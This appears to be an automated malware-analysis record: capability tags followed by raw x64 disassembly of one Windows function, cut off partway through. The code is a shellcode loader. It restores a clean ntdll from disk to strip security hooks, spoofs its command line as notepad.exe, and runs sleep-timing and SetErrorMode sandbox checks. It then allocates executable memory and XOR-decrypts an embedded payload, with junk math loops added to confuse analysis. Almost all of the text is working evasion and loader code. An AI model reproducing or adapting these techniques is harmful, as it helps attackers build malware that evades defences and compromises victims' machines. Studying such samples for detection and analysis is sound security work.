Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x7c8
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x730], xmm6
mov dword [rbp + 0x770], ecx
mov qword [rbp + 0x778], rdx
call fcn.140002ae0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6b0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6a8], rax
mov qword [rbp + 0x720], 0
mov dword [rbp + 0x72c], 0x38a
jmp 0x1400014dd
mov eax, dword [rbp + 0x72c]
cdqe
add qword [rbp + 0x720], rax
sub dword [rbp + 0x72c], 1
cmp dword [rbp + 0x72c], 0
jg 0x1400014c7
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6a0], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x718], rax
cmp qword [rbp + 0x718], 0
jne 0x14000156a
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x718], rax
cmp qword [rbp + 0x718], 0
je 0x140001ba2
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x4e0]
mov rax, qword [rbp + 0x6a0]
mov r10, qword [rbp + 0x718]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x4e0]
mov qword [rbp + 0x698], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x690], rax
mov rax, qword [rbp + 0x690]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x688], rax
mov rax, qword [rbp + 0x688]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x680], rax
mov ecx, 0x498
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x678], rax
mov ecx, 0x498
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x670], rax
mov dword [rbp + 0x714], 0
jmp 0x140001725
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x714]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x678]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x714], 1
cmp dword [rbp + 0x714], 0x92
jle 0x14000169b
mov dword [rbp + 0x714], 0
jmp 0x140001793
mov eax, dword [rbp + 0x714]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x678]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x714]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x670]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003bb0
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x714], 1
cmp dword [rbp + 0x714], 0x92
jle 0x140001741
mov rax, qword [rbp + 0x698]
mov qword [rbp + 0x668], rax
mov rax, qword [rbp + 0x668]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x698]
add rax, rdx
mov qword [rbp + 0x660], rax
mov word [rbp + 0x712], 0
jmp 0x140001b8a
mov rax, qword [rbp + 0x660]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x660]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x712]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x658]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001b79
mov dword [rbp + 0x4a8], 0
mov ecx, 0x258c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x650], rax
mov ecx, 0x258c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x648], rax
mov ecx, 0x258c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x640], rax
mov dword [rbp + 0x70c], 0
jmp 0x14000197d
mov dword [rbp + 0x708], 0
jmp 0x140001969
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x70c]
movsxd rcx, eax
mov rax, rcx
add rax, rax
add rax, rcx
lea rcx, [rax*8]
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x650]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x708]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x70c]
movsxd rcx, eax
mov rax, rcx
add rax, rax
add rax, rcx
lea rcx, [rax*8]
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x648]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x708]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x708], 1
cmp dword [rbp + 0x708], 0x1a
jle 0x14000188e
add dword [rbp + 0x70c], 1
cmp dword [rbp + 0x70c], 0x58
jle 0x14000187f
mov dword [rbp + 0x70c], 0
jmp 0x140001a78
mov dword [rbp + 0x708], 0
jmp 0x140001a64
mov eax, dword [rbp + 0x70c]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
lea rdx, [rax*8]
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x650]
add rdx, rax
mov eax, dword [rbp + 0x708]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x70c]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
lea rdx, [rax*8]
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x648]
add rdx, rax
mov eax, dword [rbp + 0x708]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x70c]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
lea rdx, [rax*8]
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x640]
add rdx, rax
subss xmm0, xmm1
mov eax, dword [rbp + 0x708]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x708], 1
cmp dword [rbp + 0x708], 0x1a
jle 0x1400019a8
add dword [rbp + 0x70c], 1
cmp dword [rbp + 0x70c], 0x58
jle 0x140001999
mov rax, qword [rbp + 0x650]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x648]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x640]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x658]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x658]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x698]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x4a8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x658]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x658]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x680]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x658]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x698]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x4a8]
mov rax, qword [rbp + 0x658]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x658]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x698]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x4a8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x712]
add eax, 1
mov word [rbp + 0x712], ax
mov rax, qword [rbp + 0x660]
movzx eax, word [rax + 6]
cmp word [rbp + 0x712], ax
jb 0x1400017d9
mov dword [rbp + 0x4ac], 0
mov rax, qword [rbp + 0x6b0]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x638], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x4b0]
lea rax, [rbp + 0x4ac]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x638]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x4b8]
add rax, 0x3c
mov qword [rbp + 0x630], rax
mov ecx, 0x14a0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x628], rax
mov ecx, 0x14a0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x620], rax
mov dword [rbp + 0x704], 0
jmp 0x140001cd0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x704]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x628]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x704], 1
cmp dword [rbp + 0x704], 0x293
jle 0x140001c46
mov dword [rbp + 0x704], 0
jmp 0x140001d3e
mov eax, dword [rbp + 0x704]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x628]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x704]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x620]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003ad0
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x704], 1
cmp dword [rbp + 0x704], 0x293
jle 0x140001cec
mov rax, qword [rbp + 0x630]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x630]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov dword [rbp + 0x61c], 0x3bd
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x610], rax
mov rax, qword [rbp + 0x610]
call rax
mov dword [rbp + 0x60c], eax
mov eax, dword [rbp + 0x61c]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x610]
call rax
mov dword [rbp + 0x608], eax
mov eax, dword [rbp + 0x608]
sub eax, dword [rbp + 0x60c]
cmp eax, 0x38b
jbe 0x140002a0b
mov dword [rbp + 0x604], 0x3b6
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5f8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5f0], rax
mov rax, qword [rbp + 0x5f0]
call rax
mov dword [rbp + 0x5ec], eax
mov eax, dword [rbp + 0x604]
mov r8, qword [rbp + 0x5f8]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x5f0]
call rax
mov dword [rbp + 0x5e8], eax
mov eax, dword [rbp + 0x5e8]
sub eax, dword [rbp + 0x5ec]
cmp eax, 0x384
jbe 0x140002a0b
mov ecx, 0x74d
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x74d
jne 0x140002a0b
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5e0], rax
mov rax, qword [rbp + 0x5e0]
mov ecx, 0
call rax
mov dword [rbp + 0x5dc], eax
cmp dword [rbp + 0x5dc], 0xffffffff
je 0x140002a0b
mov dword [rbp + 0x5d8], 0x385
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5d0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5c8], rax
mov rax, qword [rbp + 0x5c8]
call rax
mov dword [rbp + 0x5c4], eax
mov eax, dword [rbp + 0x5d8]
mov r8, qword [rbp + 0x5d0]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x5c8]
call rax
mov dword [rbp + 0x5c0], eax
mov eax, dword [rbp + 0x5c0]
sub eax, dword [rbp + 0x5c4]
cmp eax, 0x353
jbe 0x140002a0b
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x5b8], rax
cmp qword [rbp + 0x5b8], 0
je 0x140002a0b
mov rax, qword [rbp + 0x5b8]
mov edx, 0x4b6
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x5b4], eax
mov qword [rbp + 0x6f8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x5a8], rax
cmp qword [rbp + 0x5a8], 0
je 0x1400020c4
mov rax, qword [rbp + 0x5a8]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5a0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x5a0]
mov r9d, 0x3000
mov r8d, 0x3b8
mov edx, 0
call rax
mov qword [rbp + 0x6f8], rax
cmp qword [rbp + 0x6f8], 0
je 0x140002a0b
mov dword [rbp + 0x59c], 0x2ef
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x590], rax
mov rax, qword [rbp + 0x590]
call rax
mov dword [rbp + 0x58c], eax
mov eax, dword [rbp + 0x59c]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x590]
call rax
mov dword [rbp + 0x588], eax
mov eax, dword [rbp + 0x588]
sub eax, dword [rbp + 0x58c]
cmp eax, 0x2bd
jbe 0x140002a0b
mov ecx, 0x71b
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x71b
jne 0x140002a0b
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0x450
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x450
jne 0x140002a0b
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
lea rax, [rbp + 0x50]
lea rdx, [0x140006120]
mov ecx, 0x89
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov rax, qword [rbp + 0x6a8]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x580], rax
mov rax, qword [rbp + 0x6a8]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x578], rax
mov rax, qword [rbp + 0x580]
mov r8d, 0
mov edx, 0x44a
mov ecx, 0x40000
call rax
mov qword [rbp + 0x570], rax
mov rax, qword [rbp + 0x570]
mov r9, qword [rbp + 0x578]
mov r8d, 0x44a
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x568], rax
mov dword [rbp + 0x6f0], 0
mov dword [rbp + 0x564], 0
mov ecx, 0xb04
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x558], rax
mov dword [rbp + 0x6f4], 0
jmp 0x140002328
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [rbp + 0x6f4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x558]
lea r8, [rdx + rax]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
mov dword [r8], edx
mov eax, dword [rbp + 0x6f4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x558]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x6f0], eax
add dword [rbp + 0x6f4], 1
cmp dword [rbp + 0x6f4], 0x2c0
jle 0x1400022ac
mov rax, qword [rbp + 0x558]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6b0]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x550], rax
mov dword [rbp + 0x6ec], 0xffffffff
pxor xmm0, xmm0
movsd qword [rbp + 0x6e0], xmm0
add dword [rbp + 0x6ec], 1
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x6ec]
movsd xmm0, qword [0x140006570]
addsd xmm0, xmm1
mov rax, qword [0x140006578]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140004000
movq rax, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x6ec]
addsd xmm0, xmm0
movsd xmm2, qword [0x140006570]
movupd xmm1, xmm0
subsd xmm1, xmm2
movq xmm0, rax
divsd xmm0, xmm1
movsd xmm1, qword [rbp + 0x6e0]
addsd xmm0, xmm1
movsd qword [rbp + 0x6e0], xmm0
cmp dword [rbp + 0x6ec], 0x3c5
jle 0x14000237e
movsd xmm1, qword [rbp + 0x6e0]
movsd xmm0, qword [0x140006580]
mulsd xmm0, xmm1
movsd qword [rbp + 0x6e0], xmm0
lea rdx, [rbp + 0x50]
mov rax, qword [rbp + 0x568]
mov r9, qword [rbp + 0x550]
mov r8d, 0x44a
mov rcx, rax
call r9
mov dword [rbp + 0x6d8], 0
mov dword [rbp + 0x6d4], 0
movabs rax, 0x75c51fff503e5b67
movabs rdx, 0x7d0eb3381f134b05
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x29ffea8470155eff
movabs rdx, 0x8c56df54bfe0c8ac
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0x337690df4916578c
movabs rdx, 0x3ec24728ad32ff
mov qword [rbp + 0xf], rax
mov qword [rbp + 0x17], rdx
movabs rax, 0x5d41df2dfad5bb48
movabs rdx, 0x7bb9fbeb43c17b1e
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x308361b1f6129f26
movabs rdx, 0x257efe2645189951
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0x5ef21af6eee14f25
movabs rdx, 0xba13a16b96a147
mov qword [rbp + 0x3f], rax
mov qword [rbp + 0x47], rdx
mov dword [rbp + 0x6d0], 0xffffffff
pxor xmm0, xmm0
movsd qword [rbp + 0x6c8], xmm0
add dword [rbp + 0x6d0], 1
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x6d0]
movsd xmm0, qword [0x140006570]
addsd xmm0, xmm1
mov rax, qword [0x140006578]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140004000
movq rax, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x6d0]
addsd xmm0, xmm0
movsd xmm2, qword [0x140006570]
movupd xmm1, xmm0
subsd xmm1, xmm2
movq xmm0, rax
divsd xmm0, xmm1
movsd xmm1, qword [rbp + 0x6c8]
addsd xmm0, xmm1
movsd qword [rbp + 0x6c8], xmm0
cmp dword [rbp + 0x6d0], 0x2fe
jle 0x140002510
movsd xmm1, qword [rbp + 0x6c8]
movsd xmm0, qword [0x140006580]
mulsd xmm0, xmm1
movsd qword [rbp + 0x6c8], xmm0
mov dword [rbp + 0x6dc], 0
jmp 0x140002631
cmp dword [rbp + 0x6d8], 0x2d
jne 0x1400025fb
mov eax, dword [rbp + 0x6dc]
cdqe
movzx edx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x6d8]
cdqe
movzx eax, byte [rbp + rax + 0x20]
xor edx, eax
mov eax, dword [rbp + 0x6dc]
cdqe
mov byte [rbp + rax - 0x40], dl
mov dword [rbp + 0x6d8], 0
jmp 0x14000262a
mov eax, dword [rbp + 0x6dc]
cdqe
movzx edx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x6d8]
cdqe
movzx eax, byte [rbp + rax + 0x20]
xor edx, eax
mov eax, dword [rbp + 0x6dc]
cdqe
mov byte [rbp + rax - 0x40], dl
add dword [rbp + 0x6d8], 1
add dword [rbp + 0x6dc], 1
mov eax, dword [rbp + 0x6dc]
cmp eax, 0x2d
jbe 0x1400025be
mov dword [rbp + 0x6dc], 0
jmp 0x140002972
mov ecx, 0xf44
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x530], rax
mov ecx, 0xf44
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x528], rax
mov ecx, 0xf44
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x520], rax
mov ecx, 0xf44
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x518], rax
mov dword [rbp + 0x6c0], 0x3d0
mov dword [rbp + 0x6c4], 0
jmp 0x1400027b4
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x6c4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x530]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x6c4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x528]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x6c0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x530]
add rax, rdx
mov edx, dword [rbp + 0x6c4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x520]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x6c0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x528]
add rax, rdx
mov edx, dword [rbp + 0x6c4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x518]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x6c0], 1
add dword [rbp + 0x6c4], 1
cmp dword [rbp + 0x6c4], 0x3d0
jle 0x1400026a8
mov rax, qword [rbp + 0x530]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x528]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x520]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x518]
mov rcx, rax
call sub.msvcrt.dll_free
cmp dword [rbp + 0x6d4], 0x2d
jne 0x1400028cd
mov dword [rbp + 0x6bc], 0xffffffff
add dword [rbp + 0x6bc], 1
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
sar eax, 0x1f
shr eax, 0x1c
add edx, eax
and edx, 0xf
sub edx, eax
mov dword [rbp + 0x50c], edx
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006588]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x50c]
movq xmm0, rax
call fcn.140003d60
movq rax, xmm0
mov qword [rbp + 0x500], rax
cmp dword [rbp + 0x6bc], 0x1d8
jle 0x140002817
mov eax, dword [rbp + 0x6dc]
movsxd rdx, eax
mov rax, qword [rbp + 0x568]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x6d4]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x6dc]
movsxd rdx, eax
mov rax, qword [rbp + 0x568]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x6d4], 0
jmp 0x14000296b
mov dword [rbp + 0x6b8], 0
jmp 0x14000291a
call sub.msvcrt.dll_rand
imul eax, eax, 0x149
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006588]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003e30
movq rax, xmm0
mov qword [rbp + 0x510], rax
add dword [rbp + 0x6b8], 1
